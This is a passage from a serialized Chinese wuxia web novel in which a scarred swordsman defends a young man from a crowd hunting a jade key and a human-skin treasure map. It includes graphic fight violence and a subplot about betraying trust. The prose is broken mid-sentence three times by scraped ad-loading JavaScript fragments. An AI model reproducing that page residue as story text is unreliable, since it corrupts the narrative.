与范舟诚一桌的萎靡男子道:“玉钥匙?人皮图?那是传说中的奇宝,怎么会轻易就给这……这几位朋友得到了?” 万克礼将玉铃从怀中掏出来,一步步向雨馀凉走近,一面道:“此物名为‘玉铃’,是专门用于探知两样宝物的,若是靠近了玉钥匙或人皮图其中一样宝贝,便会自行震动并发出铃响。若是两样宝贝同时出现,那么这铃铛反而只会震动,但无论震得多么厉害,都不会有铃响。” 众人纷纷朝万克礼手中看去,坐在靠里位置的甚至站了起来,只见那铃铛果然在无人动它的情况下狂震不已,却半点声音不曾发出,且越是靠近雨馀凉,那铃震的幅度越大、频率越快,最后直要从万克礼手上跳起。见到如此奇特情景,他们对万克礼的话倒是多信了几分,看向雨馀凉等人的目光也逐渐锋利起来。 万克礼最终在离雨馀凉数尺出停下了步子,大声道:“小友,有好东西可不能私藏,在座的都是一等一的英雄好汉,拿出来给诸位朋友看看又如何?”他虽是看着雨馀凉,身子却朝向众人,这句话显然是对酒家里所有人说的。 那萎靡男子冷笑一声,道:“兄弟,你不厚道。你想要宝物,却打着算盘让大伙儿给你白做工,大家受累,好处你得。呵呵,天下可没这么便宜的事,两样宝贝,在座的各位人人都有机会,谁抢到就是谁的。”他眼皮半阖,一副没睡醒的样子,但说出的话却一针见血。他这话一出,其他桌的客人纷纷道:“说得没错!”“是极,是极!” 萎靡男子一语道破万克礼心中所想。玉钥匙和人皮图是江湖中人何等向往的宝贝,他这样当众说出来,就是要引得众人抢夺。一个人武艺再高强,也终究寡难敌众,他正是要借群豪的手除掉木姜。就算杀不死木姜,也能让局面乱起来,混乱之中,他再要除去鱼晚衣、从雨馀凉身上抢到长命锁便容易得多。见自己的想法被萎靡男子说破,万克礼也不尴尬,他和连江身为“沧阆四绝”,对自己的身手绝对自信,在场之人中,他们只忌惮木姜,便道:“好罢,就依兄弟所说,谁拿到就是谁的。” 他们在那里讨论宝贝归谁,似乎此事跟雨馀凉等人全然无关一般。 雨馀凉气得浑身发抖,只觉天下怎么会有如此荒唐无耻之事。 那萎靡男子名叫舒玮,外号“枯阎王”,与他和范舟诚同行的女子叫做花蕊凤,江湖人称“喋血雀”,而那范相公范舟诚,则被人称为“山水狂腿”,因他擅长腿法,且用腿踢人时,下盘极稳,身形不动如山,腿法又如流水一般流畅。这三人都是水南武林闯出了名号的人物,他们听了万克礼的话后,相互对视一眼。 范舟诚突然拔剑,木姜眼疾手快,伸手将他尚未完全出鞘的剑按了回去,接着一脚踢中他面门。范舟诚连人带剑飞了出去,又撞在了支起草棚的木柱上,那木柱喀喇一声折断,稻草纷纷扬扬盖在范舟诚身上。他好不容易坐起,口中又狂吐鲜血,天蓝色的衣襟染红了一大片。 就像一声令下一般,旁边的人纷纷抽出武器,刀枪剑戟十八般兵刃,齐刷刷向木姜等人戳来。 舒玮和花蕊凤见范舟诚受伤,忙上前查看情况,范舟诚一边吐血一边眉头紧锁,显出极其痛苦的表情。舒玮忙从袖中取出一粒药丸塞进范舟诚满是鲜血的口中,又点了他身上几处穴道,将范舟诚安置在一处角落后,舒玮对花蕊凤道:“凤妹,我们上!” 花蕊凤点点头,刷的一声拔刀,那刀的刃形便如雀翎一般。舒玮和花蕊凤足尖同时点地,一齐向正被众人围攻的木姜等人纵跃而去。 木姜侧头躲过一人的连环数枪,突然三指捏住钩镰枪的枪尖,使劲往后一拖,那枪头便没入了木姜身后一人的左眼。这人先前在木姜身后举刀正要砍下,此刻钩镰枪从他眼睛刺入,又从脑后穿出,他手脚乱舞了一阵,便挂在枪上不动了。木姜左脚把枪踢开,右脚对着那拿枪的人胸膛又是一踢,那人身子凌空转了几周后落在地上,也抽搐了几下后就不再动弹。 雨馀凉不知是不是自己的错觉,木姜这回下手特别重,几乎都是死手。但眼下形势让他无法多想,敌人太多,他和鱼晚衣也各展兵器奋起御敌。 很快,这群人就发现木姜武功不一般,死了十多个人后,便不敢再贸然靠近木姜。但雨馀凉似乎是个破绽,且方才见万克礼说起玉钥匙和人皮图,都是看着雨馀凉在说,那两样宝贝应当是在雨馀凉身上。 若是直接冲着雨馀凉去,一旁的木姜绝不会袖手旁观。要拿到宝物,就得有人拖住木姜,但又有谁愿意去木姜那儿送了性命,反倒为别人做嫁衣呢? 万克礼和连江看出了群豪的顾忌,这群人若是不敢动手,那么今天这机会便浪费了。按照昨晚的情形来看,木姜应当不是他们二人联手的对手,就由他们二人为群豪创造机会,最后再从抢到长命锁的人手中把长命锁夺过来就是。 连江和万克礼互相望着对方点点头,二人一个拔剑,一个抽鞭,连江率先欺到木姜身旁,万克礼则站在远处,甩出长鞭与连江的利剑配合进攻。 木姜一跃而起避过长鞭,那鞭身打在木姜方才站着的地上,发出啪的一声巨响,地上碎石尘土,纷纷扬起。木姜还未落地,便在空中转身,长刀刀刃骤然现出,要将连江的剑荡开。 连江迅速变招,手腕一斜,长剑便往木姜肩头削去。不想木姜那一刀也是虚招,当即撤肘回刀,将连江这一剑封住,同时侧头避开万克礼挥来的第二鞭。 群豪见连江和万克礼将木姜拖住,于是又十分默契地各提兵刃向雨馀凉而去,雨馀凉和鱼晚衣一同御敌。 几经实战,雨馀凉对武功招式的运用越发感到得心应手,对武功招式的拆解也不时有新的体会。再加上有鱼晚衣与其并肩作战,而鱼晚衣身为九歌之一,武功自然不低。因此这些水南群豪虽不是脓包角色,雨鱼二人倒也真应付下来了。 只是雨馀凉武功仍是差了鱼晚衣一大截,大家都想捏软柿子,再加上宝物又在雨馀凉身上,所以攻击鱼晚衣的比攻击雨馀凉的人少得多。鱼晚衣一边对敌,一边还要留意雨馀凉这边的情况,必要时出手相助,这么一分心,雨鱼二人便只能将敌人击退,并不能杀伤敌人。 于是敌人退了又上,毫无惧意,渐渐地,雨馀凉和鱼晚衣都感到有些疲累。雨馀凉喘了口气,一瞥眼间看到看到木姜将连江和万克礼打得节节败退,喉咙吞咽了一下,又打起十二万分的精神来对付眼前的敌人。 木姜接连将连江的长剑和万克礼的匕首组合起来的数十招一一拆解,将二人逼退后,在原地站定道:“怪不得看着眼熟,两位想必就是沧阆四绝中的其中二绝了。” 木姜此言一出,正在围攻雨馀凉和鱼晚衣的水南群豪不由得停下了手上的动作。他们虽没见过沧阆四绝的人,却听过沧阆四绝的名号。 木姜看向万克礼,道:“长鞭匕首,你是万老四万克礼,万前辈,你应该还有一手飞刀没使出来过。”他又看向连江,“你是老三连江前辈,使剑。” 近年来水西水南武林局势本就紧张,在这个敏感的时期,沧阆派作为水西大派,派人来到水南,动机十分可疑。虽然水南有的江湖人觉得水南武林盟主换了谁都无所谓,但大多数都还是比较排斥来自水西的武林人士的。 他们暂时对雨鱼二人停手,只用一种奇异并且有些带着敌意的眼光瞧着连江和万克礼。 万克礼手上匕首一转,道:“竟然认出我们是谁,敢问阁下姓名?”万克礼说这句话时,心中却想,昨天晚上这疤脸汉子面对他与连江的合招,还只能闪躲不能拆解,一个晚上的时间,他居然就想出了拆破二人合招的方法。 并且连江昨晚遇到的奇怪状况今天万克礼也体会到了,木姜有好几次都能直接伤了他们二人或将他们的兵刃击飞,但每当这些时刻,他都及时地将自己的长刀移开,或只是轻轻地在他们兵刃上碰了一下。万克礼思索一阵,又想到木姜用来对付他们的刀法似乎隐隐有连江剑法的影子,突然想通了什么,心道:“难道说他是有意不让我们很快战败,而是要逐渐引我们用出新的招式好化为己用……”思及此,额头上冒出一层细汗。 木姜笑道:“你们二位不好好在沧阆待着,到水南作甚?” 万克礼道:“这个与阁下无关。” 木姜想了想,道:“也是。我们本来是井水不犯河水,我也想和你们相互放过,如今你折磨我,我折磨你,又有什么意思?” 连江和万克礼一副深以为然的表情。万克礼道:“既已达成了共识,那么先前就是误会一场,我们便恭送阁下了。”说着将拿着匕首的手背在身后,侧身让出一条路,对木姜比了个“请”的手势。 他这般举动,似乎先前木姜砍伤他和连江的事也不追究了,只想让木姜赶紧走。 木姜看向雨馀凉,道:“可我跟那边那个小朋友是一道的,我走的话,那个小朋友得跟我一起走。” 万克礼道:“既如此,让他把东西留下,你们俩就都可以走了。” 木姜笑笑,摇头道:“你们要夺的,是我这个小朋友的东西,要抢他的东西,我可不能当没看见。话说回来,那东西吧,说实话,长得哪里像是钥匙和什么图了?那个叫做‘玉铃’的东西,难道不会出错吗?” 万克礼神色不善道:“玉铃绝不会出错。玉钥匙和人皮图这两样东西江湖上人人想要,几十年来多少人为这两件东西争得头破血流?要得到其中一样已经极是不易,他一个年纪极轻的少年人,如何一下就将这两样东西都握在手中?要说他无辜,嘿,我反正是不相信。” 木姜道:“这话倒有些道理。”说罢瞪了雨馀凉一眼。雨馀凉头一次见木姜用这种眼神看他,背脊有些发凉。 万克礼道:“所以阁下是要离开还是怎样?阁下若离开,我们恭送大驾。” 木姜转头对雨馀凉喊道:“馀凉,把东西给他,你愿是不愿?” 雨馀凉看看木姜,又看着万克礼,道:“我死也不愿!” 木姜长长地叹了口气,对万克礼道:“枉费两位一番美意。那我就先把话撂在这了,今天只要我在,你们人也别想杀,东西也别想拿。” 万克礼道:“既是如此……”他扬头对水南群豪道:“大家请想,无论是神功秘籍,还是几辈子花不完的金银财宝,有了这些东西,你还会在意如今坐在武林盟主位子上的是谁吗?玉钥匙和人皮图,这两样东西向来是可遇而不可求,往往影子都还没见到,就由不少人为它们枉送了性命。如今宝物就在眼前,若是连争取都不争取一下,你们往后想起不会后悔?”万克礼见水南群雄面面相觑,显是被他说动了,继续道:“我和连兄弟拖住这疤脸汉,为大家争取时间,最终谁能得到宝物,就看各位的本事了!” 万克礼话音刚落,就有一使铁锏之人扑向雨馀凉,木姜足尖一抵,快速跃至那人背后,一刀刺入他背心,那人登即毙命。 下一刻,连江和万克礼便一左一右同时出现在木姜头顶上方,木姜举刀上撩,复又和二人斗了起来。 与此同时,水南群豪也继续攻击雨馀凉和鱼晚衣。 忽然,雨馀凉一个没留神,身上穴道便被花蕊凤点中,他登时感到浑身的力气似是在一瞬间被抽出了一般。雨馀凉心想:“遭了!”便软绵绵地往地上倒去。 在他还没完全倒地时,倏忽间身子一轻,竟是花蕊凤提起他后颈衣领,施展轻功向远处跃去。然而刚到半空,只听花蕊凤一声惨呼,接着便有什么温凉的东西溅上了雨馀凉的腮边,花蕊凤和雨馀凉急速下坠,最终砰的一声落在酒家草棚附近的空地上。 这一回木姜倒是没打算和连万二人耗太久,长刀刀光粼粼闪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 烁间,没过多久二人身上便都挂了彩。但连江和万克礼到底不是一般武人,虽然被木姜连着拆了数招,但他们应变奇速,且相互配合严丝合缝、极其默契,姬花青一时也无法伤到他们的要害。且二人身上虽受了伤,却越战越勇,姬花青几次想去雨馀凉和鱼晚衣那边,却都被连万二人扯了回来。奈何雨馀凉那边状况又出现得太快,木姜啧了一声,脸上表情开始有些维持不住了。 其实连江和万克礼看到雨馀凉被掳走心下也甚着急,但强敌在侧,也实在脱不开身去追,所幸有人以暗器打中花蕊凤,连万二人这才略微松了口气。 花蕊凤的袖子覆在雨馀凉的面上,遮挡了雨馀凉的视线。她的身子似乎一动不动了。雨馀凉想要起身看看是什么情况,然而身上穴道被点,连将头略微抬起也办不到。 过得片刻,雨馀凉听见有脚步声嗒的一声落在自己的头旁边,有人说道:“宝物就在他身上,又没在其他地方需要他招供,蠢婆娘还留什么活口,把人杀了,在身上搜不就是了?”他一脚将花蕊凤的尸体踢开,雨馀凉眼前一下清明起来,这才看见身前站着一个身材矮小,长相甚是猥琐的汉子。 这汉子暗器上喂了见血封喉的毒药,所以才将花蕊凤一击毙命。只见他取出一把匕首,对着雨馀凉的心脏就要刺下去。 鱼晚衣见状,慌忙想要过来,但她跟木姜一样,都被敌人拖住,实在无法脱身。 却突然见那矮小汉子身子一抖,一截剑刃从他胸口破皮而出。 范舟诚不知何时已到那矮小汉子身后,用自己的剑刺穿了他。 雨馀凉望向范舟诚脚边,只见他脚下一滩血迹,不,不止是他脚下,他身后的地下有一连串的血迹,一直延续到舒玮和花蕊凤方才安置他的地方,他是一边吐血一边过来的。 木姜那一脚实在是踢得很重,可有什么办法,你不杀人家,人家便要杀你。 矮小汉子极缓极缓的转头,看着范舟诚,道:“你……你……” 范舟诚虚弱却又咬牙切齿地道:“杀了凤妹……你该死……该死!” 那矮小汉子突然发疯般大叫起来,一边叫一边反手将匕首用力捅进范舟诚的胸腹,他将匕首拔出来,又捅进去,拔出来又捅进去,如此反复十数次。 这矮小汉子大叫,范舟诚也大叫,更多的血从他嘴里喷出。范舟诚手上青筋暴起,双手握住剑柄往斜下方拉,剑刃从矮小汉子胸口一直划到侧腰,并从腰侧划出体外。 更多的血洒下来,浇了雨馀凉一头一脸。 最终,范舟诚和那矮小汉子一齐断了气,一齐倒了下去,二人的眼睛都还大大睁着。 雨馀凉近距离目睹了方才那一幕,一颗心都要从嘴里跳了出来。一开始被点了穴道只是身上没力气而已,现在手脚竟同时开始发麻。 他想撇过头,脖子却动不了,只能闭上眼睛,才能不看见两人外翻的肉和内脏,但血腥气却缭绕不绝。 然而一切还远没有结束,方才那血腥至极的情景似乎只是一个小插曲,其他人该做什么做什么,继续斗成一团。 突然又有一人抢到雨馀凉面前,一脚踩在他背上,这人将鬼头刀高高举起,刀刃对准雨馀凉脖颈处就要砍下。 眼看雨馀凉就要身首异处,鱼晚衣奋不顾身地就向雨馀凉这边冲过来,但她方才正与四个敌人拼斗,如此一来后背空虚,啪的一声,肩头中掌,鱼晚衣一下扑倒在地。 木姜见雨馀凉身处绝险之境,也管不了那么多,撇下连江和万克礼,冲过去对着那使刀之人的背心就是一掌。那使刀的汉子啊的一声惨叫,摔在数丈之外的地上,脚使劲蹬了几下,便就此不动。与此同时,木姜听得身后破风之声,知是万克礼长鞭甩到,木姜不及回头,百忙之中举刀格挡,只听当的一声,木姜感到手中长刀剧震,整个手掌渐次酸软疼痛起来,紧接着手背上便是火辣尖锐的刺痛,他咬了咬牙才让长刀不至于脱手。 木姜受了伤,心境跟之前也有所不同了。他没有马上回头继续跟万克礼和连江打,而是依旧不理会连万二人,纵身上前,将围在鱼晚衣四周的人一刀一个全部料理了。 鱼晚衣一手按住肩头站起,木姜道:“快带馀凉离开!” 鱼晚衣道:“那你呢?” 木姜道:“我有办法,你赶紧!” 鱼晚衣闻言不再多说,忙奔到雨馀凉身边,她想先解开雨馀凉的穴道,但伸指往雨馀凉身上戳了几处穴位,都没能解开。鱼晚衣不知道花蕊凤封的是雨馀凉的哪个穴位,仓促之间,她也不能再一个个试了。一把将雨馀凉搀起,让他靠在自己的肩上,提起轻功便要走。 万克礼注意到那边鱼晚衣带着雨馀凉要走,心想这还得了?这两人一走,九歌的人放跑了,玉钥匙和人皮图也泡了汤,忙一迭声地对连江叫道:“老三快追!千万不能让他们跑了!” 连江闻言立马提剑向雨鱼二人追去。 就在这时,木姜扑向万克礼,在后者头顶投下一片阴影。 万克礼心绪激荡之际,只顾要拦住雨馀凉和鱼晚衣,却忘了自己和连江合力才能堪堪抵挡住木姜,如今木姜对上他一个人,后果简直不堪设想,他要是死了,连江也得被干掉,万克礼忙又对已经在数丈外的连江叫道:“不对!老三快回!” 好在连江反应奇快,听见万克礼叫自己回去,又立即纵回,也是万克礼自己的玩意儿不含糊,连躲木姜两刀,虽然在第三刀上还是被砍中,但那一刀也砍得不深,好歹保住了性命。连江赶到时,对着木姜就是一剑,木姜闪身避开,直向雨鱼二人离开的方向而去。 连江也不再去追了,忙扶着万克礼走进茅草屋,问小二要清水给万克礼清洗伤口,掌柜和小二虽然害怕,但还算得上镇静,忙去舀了满满一盆清水端来。 万克礼一边忍痛一边道:“妈的,这已经是那狗日的在我身上开的第二道口子了。” 34. 围猎(六) 木姜用左手抚过右手手背上边缘暗红中间青紫的鞭痕。 他有多久没有因为跟人打架而受过伤了? 倒不是他武艺有多高强,比这还重的伤他受过不知多少。只是,自从几年前他在蛮疆隐居不出,不与人争斗,受的伤自然也就少了。 长鞭到了会使的人手上,不仅夭矫如生,威力更不容小觑,杀伤力并不比刀枪剑戟等能刺穿皮肉的兵刃差,功力深厚者往往能将一块坚硬的大石打得粉碎。好在那鞭子击中木姜手背之前被他用刀挡了一下,只是鞭梢被激起来打上了手背,那一鞭势尽力衰,否则他非得手骨俱碎不可。 白天的深山老林跟夜幕降临后的深山老林是两个完全不同的世界,天一黑,好像什么都出来了,无穷无尽的黑暗蔓延开来,似要把人吞噬。 木姜不由自主地打了个寒战,加快脚步向一片黑暗中唯一的橘黄色的辉光走去,他从灌木丛后绕出,终于回到了篝火旁。 鱼晚给伤口上完药,刚把衣服穿好,见他回来,脸上微微一红,道:“木前辈。” 木姜笑着点了点头,也在篝火旁坐下。 鱼晚衣问道:“木前辈,周围可有异样?” 木姜道:“没有,不必担心,今晚好生休息。” 从白天那酒家出来后,木姜、雨馀凉和鱼晚衣三人以轻功一路狂奔,路上丝毫不停歇,生怕被人追上,直到月上中天才停下。 木姜道:“馀凉还没回来么?” 鱼晚衣摇头道:“还没有。”她突然有些担心,看向木姜道:“他不会是被人……木前辈,能烦请你去看看吗?我……不方便的。” 原来三人架起火堆的所在附近有一片湖,雨馀凉说要去洗一洗,他头上脸上的血迹都凝结成块,头发一绺绺地粘在一起。 木姜也有些迟疑。 鱼晚衣这么一说,他也担心雨馀凉真被人掳走了,但是…… 谁知道雨馀凉只是洗头还是连澡也一起洗了?鱼晚衣不凡便,他木姜也不方便啊! 罢罢罢,他先远远地看一眼,反正黑夜里看不真切,如果雨馀凉脱光了,他就站在树后跟雨馀凉说话就是。 木姜起身,道:“那我去了。” 鱼晚衣看着木姜点点头道:“嗯。” 早些时候,雨馀凉来到湖边,先用手拨了拨湖水,时节尚是春季,那湖水十分沁凉。雨馀凉掬起一捧水泼在脸上,随后便将上衣一件件脱下,用水洗去自己满头满脸的血污。 上面少说有三个人的血。 从他认识木姜起,今天是他头一次看见木姜受伤。 鱼晚衣也受伤了,而这两人受伤都是为了来救他。 想到这里,雨馀凉心里很不是滋味。 从小到大,他似乎总是被帮助的那一方,似乎总是弱者。他不想再这样,他想成为帮助别人的人。 他刚开始对自己的武功有了些信心,经历了这两天的打斗后,却觉得自己又变回了谷州刀派那个倒霉无力的笨弟子,可那个时候,他还有爷爷。 总是这样,总是这样,为自己的胆怯而后悔,为自己的无能为力而懊恼。 雨馀凉想着,手上搓头发的动作不由得重了起来。 不仅如此,白天范舟诚和那矮小汉子同归于尽的画面如同梦魇一般在他脑海中挥之不去,穿插在这些本就让他烦心的想法中。 冲洗多次后,雨馀凉终于觉得从头上流下来的水没有腥味了。他俯趴在湖畔,看着自己的倒影,重重叹了口气。 突然,从他身后传来一道声音:“怎么了?” 雨馀凉略微一颤,回过头,道:“木前辈。” 木姜双手抱在胸腹之间,背靠一棵大树,正看着雨馀凉。 雨馀凉移开目光,扯了扯嘴角,道:“没什么。” 木姜道:“可你在叹气。” 雨馀凉道:“我习惯叹气,有事没事都叹。” 木姜道:“早晓得你身上带的是玉钥匙和人皮图,昨天晚上我就该把那两人杀了。” 雨馀凉正拧着自己的头发,听木姜说起这事,手上动作一顿。 木姜垂眼看着湖面,道:“你身上带着宝物的消息应该已经传出去了,一传十十传百,说不定以后还有无穷无尽的麻烦找上门来呢。” 此时一阵风吹来,木姜方才那句话的语气越发显得缥缈。 雨馀凉低下头,过了一会他道:“玉钥匙和人皮图,究竟是什么东西?” 木姜道:“……是找到某处宝藏的必需物,人皮图指示宝藏地点,玉钥匙开启藏宝处的大门。” 雨馀凉一惊,他虽然有很多问题想问,却脱口而出道:“那我们岂不是现在就可以去拿宝藏?” 木姜道:“光有这两样东西还不够,玉钥匙是一对,人皮图也是分成了两半的。你那里虽然钥匙和图都有了,但应该都各只有一半。只是不知道你那长命锁是怎么和这两样东西等同起来的,我猜,应当是有人用了某种方法将两样东西装在了长命锁里面,反正这两样东西也不大,人皮图还能折一折,装进你那长命锁里,是可行的。” 雨馀凉道:“万一……我是说万一,我这里的玉钥匙和人皮图是完整的呢?” 木姜道:“是有这种万一,可偏偏在数年前,我曾在别处见过另一半玉钥匙和人皮图。” 雨馀凉心道:“他见过另一半?可那个时候他为什么不拿?是不想拿,还是……不能拿?”一时间种种念头在雨馀凉脑海中闪过。 雨馀凉又问:“宝藏里有什么?”白天他听到万克礼说什么“无论是神功秘籍还是几辈子花不完的金银财宝”,当时他还不大明白万克礼说的是什么,现在想来,应该就是人皮图所指向的宝藏。 秘籍和金银财宝么?他学了秘籍上的武功,是不是就能变得很强? 木姜道:“众说纷纭。有人说是锻造神兵的陨铁,里面储存的陨铁足够锻造出数万把神兵利器。有人说是大幅提升修为的秘药,还有人说是学了就可以天下无敌的武功秘籍,甚至是堆满了整座山的金银财宝” 雨馀凉道:“木前辈,那图纸,为什么要叫做人皮图?” 木姜道:“大约就是用人皮做的吧。” 雨馀凉知道自己一直将一张人皮贴身带着后,内心极不舒服,毛骨悚然又有些恶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心。 雨馀凉和木姜又各自沉默了一会,雨馀凉道:“那……木前辈,我们回去吧。” 木姜却道:“你先回吧,我想一个人待一会。”微皱的湖面倒映出天上的月亮,让周围的环境倒是显得不那么阴森了。 雨馀凉来到火堆旁,看见鱼晚衣刚从另一边的灌木后绕出来,似乎方才也去了别的地方。 雨馀凉道:“鱼姑娘,你也四处走了走吗?” 鱼晚衣表情有些不自然,道:“啊……是,老坐在这,怪闷的。” 先前木姜走后,鱼晚衣继续百无聊奈地用树枝在地上写写画画,突然骨碌碌几声,一块小石子滚入她的视野。 鱼晚衣惊了一跳,第一反应是“难道是追兵来了?” 她不由得秀眉一蹙,忙转头往石子投来的方向看去。 隐约看清阴影处的人影时,鱼晚衣惊喜交集,忙起身三步并作两步去到那人跟前。 来人正是河伯。 河伯示意她跟自己来,两人越走越远,最终来到林间一块小小空地中。 鱼晚衣正要开口,突然两道矮小的身影并排从阴影中浮现,鱼晚衣道:“……是你们?” 只见那两道身影分别是一男一女两个十岁左右的小童。 那男童开口道:“山鬼阁下,别来无恙。”他外貌是小孩模样,声音亦是孩童嗓音,但说话口吻和脸上神情却与成人一般无二。 这一对小童,男童叫司马黼,女童叫司马黻,是一对同胞兄妹,亦是九歌中的大司命与少司命。 河伯邢勘道:“山鬼大人行啊,竟然想办法跟那姓雨的小子走在一起了,要获取夏篁的线索,从他入手确实是最快的,只是你是怎么取得那疤脸的信任的?” 鱼晚衣道:“我并没有有意去接近他。”遂把自己和邢勘分开后遭到连江、万克礼追杀,晕倒在路边被雨馀凉和木姜救起,之后又两次遇到连万二人,她与雨馀凉和木姜是如何摆脱的……这几天发生的种种,都跟另外三人说了。 邢勘道:“乖乖,你这几天这么跌宕?”过了一阵,他又问道:“那你的伤呢,身上的伤怎么样了?” 鱼晚衣左手握住右腕,右腕转动了几下,道:“已没有大碍。” 司马黼道:“听你刚才提到玉钥匙和人皮图,那个叫雨馀凉的身上真有这两样东西?” 鱼晚衣道:“我也不知道真假,但万克礼和连江一口咬定那长命锁就是这两样东西……所以玉钥匙和人皮图到底是什么宝贝?为什么这么多人争着抢?” 鱼晚衣虽身处九歌,出江湖也有数年之久,但她年岁到底不大,这两件物什在江湖上销声匿迹没再出在众人视野中已有近二十年,因此稍年轻一些的江湖人不知道也属正常。 河伯正准备说话,司马黼便开口道:“数百年前一位江湖前辈留下至宝,人皮图上画着这至宝所藏匿的位置,玉钥匙则用于开启藏宝处,所以这玉钥匙和人皮图本身不是宝贝,却是寻到宝贝必不可少的物事。”他看着地下一阵沉吟,突然抬头道:“我们得将那长命锁拿到手。” 鱼晚衣闻言先是一怔,随后双手骤然握紧。 35. 围猎(七) 鱼晚衣道:“为什么要拿长命锁?” 司马黼道:“因为宝藏能帮助少主实现宏图。” 鱼晚衣道:“你怎么知道?万一少主不需要那东西呢?话说回来宝藏到底是什么?” 司马黼道:“没人知道宝藏具体是什么,但无论是武功秘籍,秘药,还是神兵,哪怕是金银,对少主也是有用的。” 鱼晚衣道:“可少主叫我们来水南另有要事,你也知道有多少人想要那玉钥匙和人皮图,我们又怎能把时间耗费在抢夺这东西上面?” 司马黼道:“所以现在正是绝好的机会,你与那姓雨的小子刚好一路同行,便可在其他人到来前先将东西拿到手。” 鱼晚衣道:“可他身边还有那个疤脸汉子木姜,这算是哪门子好机会!”她看向邢勘,道:“连邢大哥都说不是他的对手,我又如何能在他眼皮子底下抢东西?” 司马黼道:“谁说要抢了?” 鱼晚衣瞪着司马黼,后者继续道:“姓雨的小子信任你,你便利用这份信任,将东西弄过来。”他顿了顿,又道:“你在九歌也这么多年了,具体怎么操作,应该不用我们教吧。话说回来,要抢也不是不可行,你找个机会支开其他人,与那小子独处,反正他也打不过你啊。” 鱼晚衣眉头紧锁着闭上眼,道:“我还是觉得应该先完成少主交给我们的事。” 司马黼道:“这也是少主的事。” 鱼晚衣还待要反驳,邢勘道:“小鱼,你今天有点奇怪,往日说为少主人办事,你都二话不说上去就干,怎么今日却犹豫起来了?”他这句话本来也就是随口说说,但鱼晚衣竟被这句话噎得一时语塞。 司马黼见鱼晚衣不再说话,就当她没有异议了,道:“我们也会在暗处帮你的,但我们不能跟得太近,否则会被那个叫木姜的发现。” ------------------------------ 鱼晚衣回到火堆点燃处,发现雨馀凉也刚好在这时回来,略有些不自在,遂道:“木前辈方才去找你,你见着他了吗?” 雨馀凉一边坐下一边道:“见着了,他说想一个人待一会。” 鱼晚衣慢慢坐下,一手抱膝,一手捡起适才用来在地上画画的树枝往泥土里戳着。 雨馀凉道:“鱼姑娘,敢问你师承何派?这个可以说么?”他突然想到,自己与鱼晚衣也算认识这么多天了,却还不知道鱼晚衣的师承。之前雨馀凉便被她风格凌然的招式所惊艳,此刻想了起来,越发好奇,便开口问出。 鱼晚衣道:“两仪。” 雨馀凉一惊,道:“两仪派?” 鱼晚衣道:“嗯。” 两仪派历史何其悠久,创派时间甚至可以追溯到卫怀霆一统武林之时,千年来声名显赫。与它同一时期创派的无涯派如今已然湮没在岁月长河中,但两仪派依旧屹立不倒。 若只是历史悠久,自然不能成为水西、水南、水东武林人士都对其敬畏有加的原因。两仪派名扬天下,主要还是靠他们门派精妙深奥、玄之又玄的武功。 如今包括两仪派的掌门在内的几位辈分高的仙师,无论是对道学还是武学的领悟都已到了极高极深的境界,这才是真正令人望尘莫及的。 惊慕的同时,雨馀凉又隐隐觉出,鱼晚衣的情绪似乎不怎么高,想是经历追杀,颇有些疲倦了,心里一柔,道:“两仪派名声在外,在我们水南连非武林人士都知道,怪不得你的武功那么厉害,姿势又那么好看。”他见鱼晚衣面无表情地发着呆,忙道:“那啥,鱼姑娘,你若是倦了,就先休息吧。” 鱼晚衣并不休息,只嘴角微微一弯,道:“其实我现在已经不能算是两仪派弟子了,几年前,我就被师门驱逐了出去,当然,也是我自己要走。” 雨馀凉吃惊的同时,心想怪不得她方才看起来不是很高兴,大约是自己提起师门的事让她想起了不好的回忆。于是颇含了歉意,对鱼晚衣道:“鱼姑娘,过去的事已经过去了。是我不好,好端端地问你这些作甚。”又想,怪不得她打扮有些像玄门中人,但又不完全是。 鱼晚衣忽然抬头看着雨馀凉,神色有些复杂,道:“雨少侠,你可知我为何要脱离师门?”雨馀凉闻言一怔。 雨馀凉不欲再提这事,鱼晚衣自己却抓住不放。 她叹了口气,“一切都是为了做成一件事。” 啪的一声轻微的脆响,鱼晚衣手中的那根树枝断裂开来,雨馀凉这才注意到鱼晚衣脚边已经被她用树枝挖出了一个深洞。 雨馀凉道:“一件事?” 鱼晚衣道:“雨少侠,我跟你说了这些,你能明白我的心情吗?你应该是能明白的,毕竟在谷州府时,你说过,人的一生能做自己想做的事,就算其他东西都失去,也很幸福了。” 邢勘和大少司命隐在远处树丛中看着鱼晚衣和雨馀凉的一举一动,邢勘心想:“她在干什么?那个木姜不在,这不就是个绝好的机会吗?怎么还不行动?” 雨馀凉骤然听鱼晚衣说出,一下就回想起那天在谷州的情景,想到自己犯蠢说出这句话,又要开始尴尬起来,但看鱼晚衣神色认真,雨馀凉那股尴尬之感刚起了点苗头就被压了下去。 他也认真起来,因为他从鱼晚衣说这句话的语气里感受到了些许难过。 其实这句话,根本就不是一句可笑的话。 等雨馀凉再抬眼看时,鱼晚衣已经背对他侧躺了下去,她的声音闷闷地传来:“我睡了,雨少侠,晚安。” 雨馀凉道:“啊……晚安,鱼姑娘。” 二人不再说话,唯有细碎的哔剥声不时从火堆中传来。 许是时辰已晚,许是白天打架奔波,鱼晚衣刚睡下,雨馀凉的困意也一阵阵袭上来,他亦轻轻躺了下去。 雨馀凉躺下后,闭上眼过了一会,才猛地想到,之前在敛安城外的桃花林时,鱼晚衣说她很喜欢的那句话,难道就是这句?就是他以为自己被嘲笑了的这句话么?随即又想到,鱼晚衣竟然将这句话一字一句记得比他还清楚,心底里不由得酥酥地泛起一丝丝说不清道不明的情愫。 邢勘与司马黼对视一眼,二人皆从对方眼中看到了疑惑。但依眼下的情况,也不好有别的动作,只能在暗处静待观察。 先前雨馀凉走后,木姜走近湖边,也望向了自己在水中的倒影。 他心情说不上好,甚至有些沉郁。 木姜望 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着湖水中那张脸出了会神,也想洗把脸。手刚触碰到水面时,突然想起雨馀凉刚刚在这处洗了头,又将手缩了回来。 就在这时,木姜望见水中一个紫色的光点不断向上攀升,随着那光点最终炸开,化成一个闪烁着金光的“玄”字时,他的心脏似乎停跳了一拍,猛然回头,果然见天空中一个巨大的“玄”字正熠熠发出辉光,过了良久,那光芒才逐渐熄灭。 这是……玄同教的信号! 